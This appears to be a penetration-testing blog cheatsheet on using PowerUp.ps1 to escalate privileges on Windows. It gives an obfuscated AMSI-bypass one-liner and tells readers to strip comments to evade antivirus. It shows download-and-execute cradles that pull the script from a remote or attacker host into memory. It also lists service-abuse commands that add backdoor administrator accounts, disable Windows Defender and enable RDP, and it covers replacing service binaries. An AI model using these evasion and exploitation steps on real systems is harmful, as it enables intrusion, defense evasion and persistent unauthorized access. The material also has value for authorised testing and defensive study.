PowerUp Cheatsheet
PowerUp.ps1 is a program that enables a user to perform quick checks against a Windows machine for any privilege escalation opportunities. It is not a comprehensive check against all known privilege escalation techniques, but it is often a good place to start when you are attempting to escalate local privileges.
The script can be downloaded from here: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
An Extensive Usage Guide can be found here:
https://powersploit.readthedocs.io/en/latest/
Brief Overview
Here is a brief overview of how to use PowerUp.ps1
- Download PowerUp.ps1
- Modify the script to bypass anti-virus
- Upload the file to the target Windows machine
- Disable AMSI and bypass PowerShell Execution Policy
- Run the program and observe the output
- Select the misconfiguration you want to exploit and run the provided command.
You don’t have to do all these steps depending on what protections are in place on the machine so feel free to skip steps that aren’t relevant for your situation. The first method I go over will touch disk which means we will need to disable certain protections. If you don’t want to touch disk, I will provide those methods at the end.
Modifying the Script
After you have downloaded the script, the first thing to do is modify the script. The reason we want to modify the script is because anti-virus will read the script and flag it as malware. A lot of the time, the anti-virus signatures rely on comments in the program to determine if the program is a “known threat”. To do this, open up a text editor and load the PowerUp.ps1 file.

I tested this with McAfee, and apparently the signature McAfee uses to flag this file as “malware” is the comment right at the top of the script. So let’s remove lines 1-9 from the file and save it.
Bypassing AMSI and Disable Execution Policy
I won’t go into too much detail about what AMSI is, but in short it is a new security feature that Microsoft has baked into PowerShell and Windows 10. It uses a string based detection mechanism to detect “dangerous” commands and potentially malicious scripts. If you want to read more about AMSI, click here.
PowerShell’s execution policy is a safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts. This feature helps prevent the execution of malicious scripts. Keep in mind though, that is to prevent “average users” from executing malicious scripts. It’s not a security feature, it’s a safety feature. So you can simply disable this by typing in the following into a PowerShell console:HTML1
PS C:\> powershell -ep bypass
So now that we have bypassed PowerShell’s execution policy, we need to disable AMSI. Below is a good bypass for AMSI that hasn’t been patched by Microsoft yet. Type this into the PowerShell console to bypass AMSI. There are several others out there, but this is my go-to:PowerShell
sET-ItEM ( ‘V’+’aR’ + ‘IA’ + ‘blE:1q2’ + ‘uZx’ ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( GeT-VariaBle ( “1Q2U” +”zX” ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f’Util’,’A’,’Amsi’,’.Management.’,’utomation.’,’s’,’System’ ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f’amsi’,’d’,’InitFaile’ ),( “{2}{4}{0}{1}{3}” -f ‘Stat’,’i’,’NonPubli’,’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} )
Running PowerUp.ps1
Now comes the fun part. We have disabled different protections so now we should be able to run our script with no problems. Before we can just run the program, we need to import the program into the current session. We do this by running one of the following commands:HTML1
PS C:\> Import-Module PowerUp.ps1
All the powerup cmdlets now are exposed and the tab complete. To get more information on any command use get-help -full eg.
Get-help Get-ServiceEXEPerms -full
If youw ant to output your result to a file , i recommend using the powershell Out-File cmdlet eg.
Get-ServicePerms | Out-File -Encoding ASCAII Checks.txt
or most common way is Invoke-AllChecks .
PS C:\> . .\PowerUp.ps1
Now that we have imported the module into the current working session, we can now run any of the functions that are part of the PowerUp.ps1 module. The one we are most interested in is Invoke-AllChecks because it runs all the checks included in the module. To run it, we simply run that command as shown below:


One option to upload the PowerUp.ps1 , drop into the shell and execute :-
powershell.exe -exec bypass -Command “& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}”
There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append “Invoke-AllChecks” to the end of PowerUp.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine
There is some interesting output here. PowerUp.ps1 will run all the required checks and spit out a lot of stuff. Let’s take a look at part of the output. If you notice the section that reads [*] Checking service permissions… We see a service that comes back as potentially vulnerable. Here’s a breakdown of some of the output.
- ServiceName: This is the name of the service
- Path: This is where the program is located or run from
- ModifiableFile: If we can abuse this service, this is the file that will be modified
- StartName: This is who the service runs as. It is important that this user has higher privileges than our current privileges, otherwise, it will be pointless in exploiting it. Generally, we would like it if it is running with LocalSystem or Administrator privileges.
- CanRestart: It is important this is True. We must have the ability to restart the service otherwise the changes can’t take place to escalate our privileges. If you have access to restart the machine that’s an option, but we generally want to avoid restarting machines if possible.
- AbuseFunction: If we type in this command as-is, PowerUp.ps1 will exploit the service automatically and add a user named john with a password of Password123! to the administrator’s group. (This can be changed of course but this is the default configuration.)
Now that we have taken a look at this service and determined we can restart it and it is running as Local Administrator privileges, let’s go ahead and run the AbuseFunction command that is given. In our example above this will be Install-ServiceAbuse -Name ‘AbyssWebServer’.

After we run the command, we will notice the output provides the command that PowerUp.ps1 executed. It looks like it added the user john with a password of Password123! then it added that user to the administrator’s group. Let’s confirm that this worked by typing in net user:

We notice the user john is now added to the computer. If we login as john we should have full administrative privileges on the computer.
Customizing the Exploit
What if we don’t want to add a user john to the computer and instead want to do something else? PowerUp.ps1 provides us a way to customize the command to be run with LocalSystem privileges. Below are a few examples
Adding a new user with password with -User and -Password options
Invoke-ServiceAbuse -Name 'AbyssWebServer' -User hacker -Password Password1337
Running a custom command (Disable Windows Defender)
Invoke-ServiceAbuse -Name 'AbyssWebServer' -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Running a custom command (Enable RDP services)PowerShell
Invoke-ServiceAbuse -Name 'AbyssWebServer' -Command "reg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current user has configuration modification rights on and executes a series of automated actions to execute commands as SYSTEM.
First, the service is enabled if it was set as disabled and the original service binary path and configuration state are preserved. Then the service is stopped and the Set-ServiceBinaryPath function is used to set the binary (beneath) for the service to a series of commands, the service is started, stopped, and the next command is configured. After completion, the original service configuration is restored and a custom object is returned that captures the service abused and commands run.
EXAMPLES
————————– EXAMPLE 1 ————————–
Invoke-ServiceAbuse -Name VulnSVC
Abuses service ‘VulnSVC’ to add a localuser “john” with password “Password123! to the machine and local administrator group
————————– EXAMPLE 2 ————————–
Get-Service VulnSVC | Invoke-ServiceAbuse
Abuses service ‘VulnSVC’ to add a localuser “john” with password “Password123! to the machine and local administrator group
————————– EXAMPLE 3 ————————–
Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john"
Abuses service ‘VulnSVC’ to add a the domain user TESTLAB\john to the local adminisrtators group.
————————– EXAMPLE 4 ————————–
Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users"
Abuses service ‘VulnSVC’ to add a localuser “backdoor” with password “password” to the machine and local “Power Users” group
————————– EXAMPLE 5 ————————–
Invoke-ServiceAbuse -Name VulnSVC -Command "net ..."
Abuses service ‘VulnSVC’ to execute a custom command
As you can see the possibilities are endless, but those are a few ideas to get you started.
if the vulnerability is service executable. This misconfiguration happens when the executable associated with a service has improper permissions, allowing other users to write to the .exe. Since these services run as SYSTEM, if we replace the exe with our own, we can escalate quickly. PowerUp includes a function to easily back up the service .exe and write out a patched C# service to that service location. If it succeeds, it returns True and returns False if it fails. we can use the -verbose flag to get more information.
Write-ServiceEXE -ServiceName CustomSVC -UserName backdoor -Password password123 -Verbose
his new service binary will create a new user named backdoor, and add them to the local administrators. If we can’t start/stop the service, rebooting the box should do the trick to get the user added. After the user is added, running Restore-ServiceEXE -ServiceName CustomSVC should place the original binary back in its proper place.
Sometimes services themselves are vulnerable- if we can modify service and start/stop it, we can change the pathname to the service exe to be something like “net user backdoor2 /add”. If we start/stop the service and then repeat that process to add the user to the local administrators, we’re golden:
Invoke-ServiceUserAdd -ServiceName CustomAPP -UserName backdoor2 -Password password123 -Verbose
let’s check out that AlwaysInstallElevated key. This is a key sometimes set by enterprises in an attempt to simplify the deployment of installer packages without granting users administrative rights. However, setting this key actually is the exact same as giving users those rights, as writing out a custom .msi installer and running it will give the user elevated privileges
Write-UserAddMSI
Running PowerUp.ps1 Without Touching Disk
What does it mean to not touch disk? It means the file is loaded into memory instead of being saved to the disk. This is important because generally anti-virus programs scan any file being written to disk and will immediately quarantine it before you can use it. Anti-virus has a harder time detecting malware running in memory. By importing PowerUp.ps1 without touching disk, we have a greater chance at bypassing anti-virus.
We still need to disable AMSI protections and Execution Policies (see above), but after those have been disabled, we can load in the PowerUp.ps1 module into our session using any of the commands below:
Load Directly From Github
HTML1
PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://bit.ly/1PdjSHk")
Loading From Your Kali Apache Server
HTML1
PS C:\> IEX(New-Object Net.WebClient).DownloadString(‘http://<kali_ip>/PowerUp.ps1’)
PowerShell Version 3 And Above
HTML1
PS C:\> iex (iwr 'http://<kali_ip>/PowerUp.ps1')
Alternative Method
HTML1
PS C:\> $wr = [System.NET.WebRequest]::Create("http://<kali_ip>/PowerUp.ps1")
PS C:\> $r = $wr.GetResponse()
PS C:\> IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
These are a few methods for loading the module directly into memory, hopefully bypassing anti-virus completely.
Cheatsheet
PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.
Running Invoke-AllChecks will output any identifiable vulnerabilities along with specifications for any abuse functions. The -HTMLReport flag will also generate a COMPUTER.username.html version of the report.
Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None
Service Enumeration:
Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name
Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config
Get-ModifiableService - returns services the current user can modify
Get-ServiceDetail - returns detailed information about a specified service
Service Abuse:
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes commands
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes commands
Restore-ServiceBinary - restores a replaced service binary with the original executable
DLL Hijacking:
Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes
Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities
Write-HijackDll - writes out a hijackable DLL
Registry Checks:
Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon - checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
Miscellaneous Checks:
Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files
Get-UnattendedInstallFile - finds remaining unattended installation files
Get-Webconfig - checks for any encrypted web.config strings
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files
Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files
Other Helpers/Meta-Functions:
Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify
Get-CurrentUserTokenGroupSid - returns all SIDs that the current user is a part of, whether they are disabled or not
Add-ServiceDacl - adds a Dacl field to a service object returned by Get-Service
Set-ServiceBinPath - sets the binary path for a service to a specified value through Win32 API methods
Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
Invoke-AllChecks - runs all current escalation checks and returns a report
Recent Comments